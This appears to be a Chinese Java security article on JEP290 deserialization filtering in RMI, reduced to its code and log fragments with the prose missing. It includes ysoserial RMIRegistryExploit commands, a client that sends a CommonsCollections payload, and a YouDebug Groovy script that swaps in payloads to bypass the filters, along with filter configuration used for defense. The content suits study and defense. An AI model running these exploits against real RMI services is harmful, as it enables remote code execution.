JAVA安全之JEP290攻防对抗录

Java SE Development Kit 8, Update121 (JDK 8u121)Java SE Development Kit 7, Update131 (JDK 7u131)Java SE Development Kit 6, Update141 (JDK 6u141)

package RMI;import java.rmi.Remote;import java.rmi.RemoteException;publicinterfaceHelloextendsRemote{String hello()throws RemoteException;String hello(String name)throws RemoteException;String hello(Object object)throws RemoteException;}

package RMI;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;publicclassHelloImplextendsUnicastRemoteObjectimplementsHello{protectedHelloImpl()throws RemoteException {    }public String hello()throws RemoteException {return"hello world";    }public String hello(String name)throws RemoteException {return"hello" + name;    }public String hello(Object object)throws RemoteException {        System.out.println(object);return"hello "+object.toString();    }}

package RMI;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;publicclassRMIServer{publicstatic String HOST = "127.0.0.1";publicstaticint PORT = 1099;publicstatic String RMI_PATH = "/hello";publicstaticfinal String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;publicstaticvoidmain(String[] args){try {// 注册RMI端口            LocateRegistry.createRegistry(PORT);// 创建一个服务            Hello hello = new HelloImpl();// 服务命名绑定            Naming.rebind(RMI_NAME, hello);            System.out.println("启动RMI服务:" + RMI_NAME);        } catch (Exception e) {            e.printStackTrace();        }    }}

java-cpysoserial.jarysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1calc

java-cpysoserial.jarysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1calc

十一月 30, 20203:25:28 下午 java.io.ObjectInputStream filterCheck信息: ObjectInputFilter REJECTED: classsun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 297, ex: n/a

java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:java.io.InvalidClassException: filter status: REJECTEDatsun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)atsun.rmi.transport.Transport$1.run(Transport.java:200)atsun.rmi.transport.Transport$1.run(Transport.java:197)atjava.security.AccessController.doPrivileged(Native Method)atsun.rmi.transport.Transport.serviceCall(Transport.java:196)atsun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)atsun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)atsun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)atjava.security.AccessController.doPrivileged(Native Method)atsun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)atjava.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)atjava.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)atjava.lang.Thread.run(Thread.java:748)atsun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(Unknown Source)atsun.rmi.transport.StreamRemoteCall.executeCall(Unknown Source)atsun.rmi.server.UnicastRef.invoke(Unknown Source)atsun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)atysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)atysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)atysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)atysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)atysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)Causedby: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:java.io.InvalidClassException: filter status: REJECTEDatsun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:94)atsun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:469)atsun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:301)atsun.rmi.transport.Transport$1.run(Transport.java:200)atsun.rmi.transport.Transport$1.run(Transport.java:197)atjava.security.AccessController.doPrivileged(Native Method)atsun.rmi.transport.Transport.serviceCall(Transport.java:196)atsun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)atsun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)atsun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)atjava.security.AccessController.doPrivileged(Native Method)atsun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)atjava.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)atjava.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)atjava.lang.Thread.run(Thread.java:748)Causedby: java.io.InvalidClassException: filter status: REJECTEDatjava.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1329)atjava.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1994)atjava.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1848)atjava.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2158)atjava.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)atjava.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2403)atjava.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2327)atjava.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2185)atjava.io.ObjectInputStream.readObject0(ObjectInputStream.java:1665)atjava.io.ObjectInputStream.readObject(ObjectInputStream.java:501)atjava.io.ObjectInputStream.readObject(ObjectInputStream.java:459)atsun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:91)...14 mor

if (!var2.isArray()) {return String.class != var2 &&         !Number.class.isAssignableFrom(var2) &&         !Remote.class.isAssignableFrom(var2) &&         !Proxy.class.isAssignableFrom(var2) &&         !UnicastRef.class.isAssignableFrom(var2) &&         !RMIClientSocketFactory.class.isAssignableFrom(var2) &&         !RMIServerSocketFactory.class.isAssignableFrom(var2) &&         !ActivationID.class.isAssignableFrom(var2) &&         !UID.class.isAssignableFrom(var2)         ?Status.REJECTED : Status.ALLOWED;}

package RMI;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;publicclassHelloImplextendsUnicastRemoteObjectimplementsHello{protectedHelloImpl()throws RemoteException {    }public String hello()throws RemoteException {return"hello world";    }public String hello(String name)throws RemoteException {return"hello" + name;    }public String hello(Object object)throws RemoteException {        System.out.println(object);return"hello "+object.toString();    }}

package RMI;import ysoserial.payloads.CommonsCollections5;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import static RMI.RMIServer.RMI_NAME;publicclassRMIClient{publicstatic void  main(String[] args){try{//获取服务注册器Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);//获取所有注册的服务String[] list = registry.list();for (String i:list){System.out.println("已注册的服务:"+i);            }//寻找RMI_Name对应的RMI实例Hello rt = (Hello) Naming.lookup(RMI_NAME);//调用Server的Hello()方法，并获取返回值String result1 = rt.hello();String result2 = rt.hello("Al1ex");String result3 = rt.hello(new CommonsCollections5().getObject("calc"));System.out.println(result1);System.out.println(result2);System.out.println(result3);        }catch (Exception e){            e.printStackTrace();        }    }}

-javaagent:C:UsersHeptaDesktopRemoteObjectInvocationHandlertargetrasp-1.0-SNAPSHOT.jar

package al1ex;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;publicclassRMIServer{publicstaticvoidmain(String[] args)throws RemoteException {try {// 定义服务对象            HelloService helloService = new HelloServiceImpl();// 获取注册器，指定查找端口            Registry reg = LocateRegistry.createRegistry(9999);// 注册对象            reg.bind("HelloService", helloService);            System.out.println("HelloServiceImpl 已绑定到 Registry ......");        } catch (Exception e) {            e.printStackTrace();        }    }}

javac -encoding UTF-8 -d . *.java

package al1ex;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;publicclassRMIClient{publicstaticvoidmain(String[] args)throws Exception {//根据ip和端口获取Registry        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);//使用Registry获取远程对象的引用        HelloService services = (HelloService) registry.lookup("HelloService");// 使用远程对象的引用调用对应的方法        String res = services.sayHello("al1ex");        System.out.println(res);    }}

package al1ex;import java.rmi.RemoteException;publicinterfaceHelloServiceextendsjava.rmi.Remote{//远程调用方法必须抛出RemoteException异常String sayHello(Object obj)throws RemoteException;voidlog(String msg)throws RemoteException;}

java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp ".;ysoserial.jar" al1ex.RMIClient

// 使用的ysoserial中的payload名称def payloadName = "CommonsCollections6";//执行的命令def payloadCommand = "calc";//替换的参数值def needle = "al1ex"println"Loaded..."// set a breakpoint at "invokeRemoteMethod", search the passed argument for a String object// that contains needle. If found, replace the object with the generated payloadvm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {// make sure that the payload class is loaded by the classloader of the debugee  vm.loadClass("ysoserial.payloads." + payloadName);println"[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"// get the Array of Objects that were passed as Arguments  delegate."@2".eachWithIndex { arg,idx ->println"[+] Argument " + idx + ": " + arg[0].toString();if(arg[0].toString().contains(needle)) {println"[+] Needle " + needle + " found, replacing String with payload"      def payload = vm._new("ysoserial.payloads." + payloadName);      def payloadObject = payload.getObject(payloadCommand)      vm.ref("java.lang.reflect.Array").set(delegate."@2",idx, payloadObject);println"[+] Done.."    }  }}

java-jaryoudebug-1.6.jar-socket 127.0.0.1:8000barmitzwa.groovy

jdk.serialFilter=!org.apache.commons.collections.**

- maxdepth=value// the maximum depth of a graph- maxrefs=value// the maximum number of the internal references- maxbytes=value// the maximum number of bytes in the input stream- maxarray=value// the maximum array size allowed

// this matches a specific class and rejects the rest"jdk.serialFilter=org.example.Vehicle;!*"// this matches all classes in the package and all subpackages and rejects the rest - "jdk.serialFilter=org.example.**;!*"// this matches all classes in the package and rejects the rest - "jdk.serialFilter=org.example.*;!*"// this matches any class with the pattern as a prefix- "jdk.serialFilter=*;

java.lang.Numberjava.rmi.Remotejava.lang.reflect.Proxysun.rmi.server.UnicastRefsun.rmi.server.RMIClientSocketFactorysun.rmi.server.RMIServerSocketFactoryjava.rmi.activation.ActivationIDjava.rmi.server.UID

java.rmi.server.ObjIDjava.rmi.server.UIDjava.rmi.dgc.VMIDjava.rmi.dgc.Lease

classMyFilterimplementsObjectInputFilter{final Class<?> clazz = String.class;public ObjectInputFilter.Status checkInput(FilterInfo filterInfo) {if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) {return Status.ALLOWED;        } else {return Status.REJECTED;        }    }}